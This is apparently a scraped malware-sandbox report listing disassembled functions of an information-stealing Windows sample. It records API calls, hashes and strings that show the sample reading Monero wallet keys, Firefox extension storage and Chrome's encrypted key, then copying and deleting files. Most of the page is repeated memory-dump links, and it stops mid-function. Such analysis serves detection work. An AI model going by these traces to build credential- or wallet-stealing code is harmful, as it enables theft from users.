Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 15b52129ad3847ab00921acf5019cdac7094c9b5baf5b56be55f59ac9ad12bde
Instruction ID: cc2188a9b85956695fbb5e2d0762e505801a414b56f0e78ac613a7ed2ca26987
Opcode Fuzzy Hash: 15b52129ad3847ab00921acf5019cdac7094c9b5baf5b56be55f59ac9ad12bde
Instruction Fuzzy Hash: 3A41E4B151079C5EDB228B24CC84FFBBBFCAB45709F1454A8ED8A86192D3719A49CF60

Function 00356630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00356663

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

ShellExecuteEx.SHELL32(0000003C), ref: 00356726
ExitProcess.KERNEL32 ref: 00356755

Strings

<, xrefs: 003566D9

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 33cf4cd9a0d7230bb50784e71f3e0c8dead8954733c9da6839fe5248f4c282dc
Instruction ID: aa5b2399b5fcf14c51f92634918ddb681e8063c609904406c604767d67c52a22
Opcode Fuzzy Hash: 33cf4cd9a0d7230bb50784e71f3e0c8dead8954733c9da6839fe5248f4c282dc
Instruction Fuzzy Hash: CC314CB1801218ABDB15EB90DC82FDEBB78AF14301F405189FA097A1A1DF746B4DDF66

Function 003587C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00360E28,00000000,?), ref: 0035882F
RtlAllocateHeap.NTDLL(00000000), ref: 00358836
wsprintfA.USER32 ref: 00358850

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Strings

%dx%d, xrefs: 00358847

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: dc430518abbfaed286239373312ad90ebce21f070869f8b2265863853d0811ac
Instruction ID: 5ba2b5ea4530323496509f912a720b1dfecd6a4e722db1f58b0cc3ef1e0db129
Opcode Fuzzy Hash: dc430518abbfaed286239373312ad90ebce21f070869f8b2265863853d0811ac
Instruction Fuzzy Hash: 3C2130B1A40204AFEB04DFD4DD49FAEBBB8FB48701F104119FA05B7294C77999049FA1

Function 00358D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0035951E,00000000), ref: 00358D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00358D62
wsprintfW.USER32 ref: 00358D78

Strings

%hs, xrefs: 00358D6F

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: e8751c2a95b169f4046c2bb5ca64522aa47ef8cb052cb9edaefe606f34025025
Instruction ID: 064bd42ce3ca9b20cf003d0ccd7fe215ef031efe5cf8a0bf27fe6bff5430d769
Opcode Fuzzy Hash: e8751c2a95b169f4046c2bb5ca64522aa47ef8cb052cb9edaefe606f34025025
Instruction Fuzzy Hash: A5E0ECB5A40208BBE714DB94DD0AE6977B8EB54702F004195FE09A7280DA719E14AFA6

Function 0034A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 00358B60: GetSystemTime.KERNEL32(00360E1A,00FAF740,003605AE,?,?,003413F9,?,0000001A,00360E1A,00000000,?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 00358B86

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0034A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0034A3FF
lstrlen.KERNEL32(00000000), ref: 0034A6BC

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

DeleteFileA.KERNEL32(00000000), ref: 0034A743

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 6b2d901d348f9c691f919560d0af21352d378de0a232e590c32b261f646888bd
Instruction ID: 5ac4cf1df55c54c7ab0e750f2977da6f910d2d9658ef3d2b9518c3554e56dcc2
Opcode Fuzzy Hash: 6b2d901d348f9c691f919560d0af21352d378de0a232e590c32b261f646888bd
Instruction Fuzzy Hash: C1E1E6728105189ADB06FBA4DC92DEE7738BF14301F508259F9177A0A1EF346A4DEB62

Function 0034D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 00358B60: GetSystemTime.KERNEL32(00360E1A,00FAF740,003605AE,?,?,003413F9,?,0000001A,00360E1A,00000000,?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 00358B86

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0034D481
lstrlen.KERNEL32(00000000), ref: 0034D698
lstrlen.KERNEL32(00000000), ref: 0034D6AC
DeleteFileA.KERNEL32(00000000), ref: 0034D72B

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2453f77522e816bf7c4cef24ba30956b26fe065f130677325ee6004f8dc333cb
Instruction ID: a99f01e393818aab28a38fb7aec43687f8a62048e02c8a4a4dc01fc6b5530bad
Opcode Fuzzy Hash: 2453f77522e816bf7c4cef24ba30956b26fe065f130677325ee6004f8dc333cb
Instruction Fuzzy Hash: 5A9103729105189BDB06FBA4DC96DEE7738BF14301F504259F907BA0A1EF346A0DEB62

Function 0034D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 00358B60: GetSystemTime.KERNEL32(00360E1A,00FAF740,003605AE,?,?,003413F9,?,0000001A,00360E1A,00000000,?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 00358B86

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0034D801
lstrlen.KERNEL32(00000000), ref: 0034D99F
lstrlen.KERNEL32(00000000), ref: 0034D9B3
DeleteFileA.KERNEL32(00000000), ref: 0034DA32

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 548faa1e2596d57580feec33602671945b1f69d3f6c2b857045b0c6420592a86
Instruction ID: e9c4341c507bc5c08a4f93dd15eb198634b6f3592e4209d6f61663d46d8803e5
Opcode Fuzzy Hash: 548faa1e2596d57580feec33602671945b1f69d3f6c2b857045b0c6420592a86
Instruction Fuzzy Hash: EB8100729105189ADB06FBA4DC96DEE7738BF14301F504219F907BA0A1EF346A0DEB62

Function 0034F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 003499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003499EC
Part of subcall function 003499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00349A11
Part of subcall function 003499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00349A31
Part of subcall function 003499C0: ReadFile.KERNEL32(000000FF,?,00000000,0034148F,00000000), ref: 00349A5A
Part of subcall function 003499C0: LocalFree.KERNEL32(0034148F), ref: 00349A90
Part of subcall function 003499C0: CloseHandle.KERNEL32(000000FF), ref: 00349A9A

Part of subcall function 00358E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00358E52

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00361580,00360D92), ref: 0034F54C
lstrlen.KERNEL32(00000000), ref: 0034F56B

Strings

^userContextId=4294967295, xrefs: 0034F59C
moz-extension+++, xrefs: 0034F5AD

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 62375df1ab717f10dc45f1a4694310d7e8f1bc06b19b6d83348243c8b08f021c
Instruction ID: 36dbaebc4388520166b3d2fccbfa92e985a396b84f61e4612c04282aacb8730c
Opcode Fuzzy Hash: 62375df1ab717f10dc45f1a4694310d7e8f1bc06b19b6d83348243c8b08f021c
Instruction Fuzzy Hash: 0D512471D106089ADB05FBB0DC56DED7778AF54301F408628FC16AB1A1EF346A0DEBA2

Function 003570D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0035718C
s5, xrefs: 003572AE, 00357179, 0035717C
s5, xrefs: 00357111

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s5$s5$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-867831089
Opcode ID: 3d26d83006396b936540a1ae8c6f2d7a91f59e4b1c7b280dc3ff86739d2b2d2e
Instruction ID: 215a41185d55fc525ecd6fc287644813186cfd3696f01fd809ca39f81b234322
Opcode Fuzzy Hash: 3d26d83006396b936540a1ae8c6f2d7a91f59e4b1c7b280dc3ff86739d2b2d2e
Instruction Fuzzy Hash: EE5190B0C042089BDB25EB90DC86FEEB774AF44305F1045A8EA067B1A1EB746E8CDF55

Function 00353560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 1564e527d9158e7899abf8dec5be71875e002c107f29281374247eec7dde0fd2
Instruction ID: 1b2d65d924a23b1dacc5f048fff4cb12265ea72b591a5c8d6ec18772ff9c9f45
Opcode Fuzzy Hash: 1564e527d9158e7899abf8dec5be71875e002c107f29281374247eec7dde0fd2
Instruction Fuzzy Hash: E0416371D10108EBCB06EFE4D885EEE7778AF54305F008118E8167B260DB756A09DFA2

Function 00349CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 003499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003499EC
Part of subcall function 003499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00349A11
Part of subcall function 003499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00349A31
Part of subcall function 003499C0: ReadFile.KERNEL32(000000FF,?,00000000,0034148F,00000000), ref: 00349A5A
Part of subcall function 003499C0: LocalFree.KERNEL32(0034148F), ref: 00349A90
Part of subcall function 003499C0: CloseHandle.KERNEL32(000000FF), ref: 00349A9A

Part of subcall function 00358E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00358E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00349D39

Part of subcall function 00349AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N4,00000000,00000000), ref: 00349AEF
